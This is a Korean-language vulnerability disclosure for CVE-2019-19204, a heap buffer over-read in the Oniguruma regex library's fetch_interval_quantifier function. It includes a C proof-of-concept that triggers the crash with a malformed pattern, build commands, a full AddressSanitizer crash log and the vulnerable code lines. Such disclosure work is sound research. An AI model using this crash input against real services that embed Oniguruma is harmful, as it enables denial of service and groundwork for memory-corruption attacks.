tarantula-team/cve-2019-19204Oniguruma (함수 fetch_interval_quantifier)의 힙 버퍼 오버플로우
Oniguruma 6.x (6.9.4_rc2 이전)에서 문제가 발견되었습니다. regparse.c의 fetch_interval_quantifier 함수(이전 fetch_range_quantifier)에서 PFETCH가 PEND 검사 없이 호출됩니다. 이로 인해 힙 기반 버퍼 오버리드(heap-based buffer over-read)가 발생합니다.
연구자: Vingroup 소속 VinCSS, The Tarantula Team의 ManhND
K. Kosako가 개발한 Oniguruma는 BSD 라이선스의 정규 표현식 라이브러리로, 다양한 문자 인코딩을 지원합니다. Ruby 프로그래밍 언어 1.9 버전과 PHP5 이후의 PHP 멀티바이트 문자열 모듈은 Oniguruma를 정규 표현식 엔진으로 사용합니다. 또한 Atom, GyazMail, Take Command Console, Tera Term, TextMate, Sublime Text, SubEthaEdit 같은 제품에서도 사용됩니다.
소스 코드:
#include <stdlib.h>
#include <string.h>
#include "oniguruma.h"
int main(int argc, char* argv[])
{
int r;
regex_t* reg;
OnigErrorInfo einfo;
char *pattern = (char*)malloc(6);
memcpy(pattern, "_\\{21\\", 6);
char *pattern_end = pattern + 6;
OnigEncodingType *enc = ONIG_ENCODING_ASCII;
onig_initialize(&enc, 1);
r = onig_new(®, (unsigned char *)pattern, (unsigned char *)pattern_end,
ONIG_OPTION_NONE, enc, ONIG_SYNTAX_GREP, &einfo);
if (r == ONIG_NORMAL) {
onig_free(reg);
}
onig_end();
return 0;
}
Oniguruma 및 PoC 컴파일:
./configure CC=gcc CFLAGS="-m32 -O0 -ggdb3 -fsanitize=address" LDFLAGS="-m32 -O0 -ggdb3 -fsanitize=address" && make -j4
gcc -fsanitize=address -O0 -I./oniguruma-gcc-asan/src -ggdb3 poc-fetch_interval_quantifier-2-PFETCH.c ./oniguruma-gcc-asan/src/.libs/libonig.a -o PoC
크래시 로그:
root@manh-ubuntu16:~/fuzz/fuzz_oniguruma# ./PoC
=================================================================
==6418==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000eff6 at pc 0x00000044cb35 bp 0x7ffde176e0e0 sp 0x7ffde176e0d0
READ of size 1 at 0x60200000eff6 thread T0
#0 0x44cb34 in onigenc_single_byte_mbc_to_code /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regenc.c:704
#1 0x4683a0 in fetch_interval_quantifier /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regparse.c:4182
#2 0x46e79a in fetch_token /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regparse.c:5009
#3 0x481e9f in parse_exp /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regparse.c:7974
#4 0x483de7 in parse_branch /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regparse.c:8303
#5 0x48431b in parse_alts /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regparse.c:8354
#6 0x484808 in parse_regexp /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regparse.c:8413
#7 0x484db1 in onig_parse_tree /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regparse.c:8468
#8 0x423c6b in onig_compile /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regcomp.c:6694
#9 0x424e53 in onig_new /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regcomp.c:6964
#10 0x401265 in main /root/fuzz/fuzz_oniguruma/poc-fetch_interval_quantifier-2-PFETCH.c:27
#11 0x7f18b06ad82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#12 0x401048 in _start (/root/fuzz/fuzz_oniguruma/PoC+0x401048)
0x60200000eff6 is located 0 bytes to the right of 6-byte region [0x60200000eff0,0x60200000eff6)
allocated by thread T0 here:
#0 0x7f18b0aef602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x4011e2 in main /root/fuzz/fuzz_oniguruma/poc-fetch_interval_quantifier-2-PFETCH.c:17
#2 0x7f18b06ad82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
SUMMARY: AddressSanitizer: heap-buffer-overflow /root/fuzz/fuzz_oniguruma/oniguruma-gcc-asan/src/regenc.c:704 onigenc_single_byte_mbc_to_code
Shadow bytes around the buggy address:
0x0c047fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9dc0: fa fa 04 fa fa fa 00 00 fa fa 00 04 fa fa 00 00
0x0c047fff9dd0: fa fa 06 fa fa fa 00 00 fa fa 06 fa fa fa 00 00
0x0c047fff9de0: fa fa 04 fa fa fa 00 00 fa fa 00 01 fa fa 00 00
=>0x0c047fff9df0: fa fa 00 00 fa fa 05 fa fa fa 00 00 fa fa[06]fa
0x0c047fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==6418==ABORTING
참조 소스 코드 버전: ca7ddbd858dcdc8322d619cf41ab125a2603a0d4 regparse.c:4182의 fetch_interval_quantifier에서 PFETCH가 PEND 검사 없이 호출됩니다.
if (IS_SYNTAX_OP(env->syntax, ONIG_SYN_OP_ESC_BRACE_INTERVAL)) {
if (c != MC_ESC(env->syntax)) goto invalid;
PFETCH(c);
}
이로 인해 힙 버퍼 오버플로우가 발생합니다.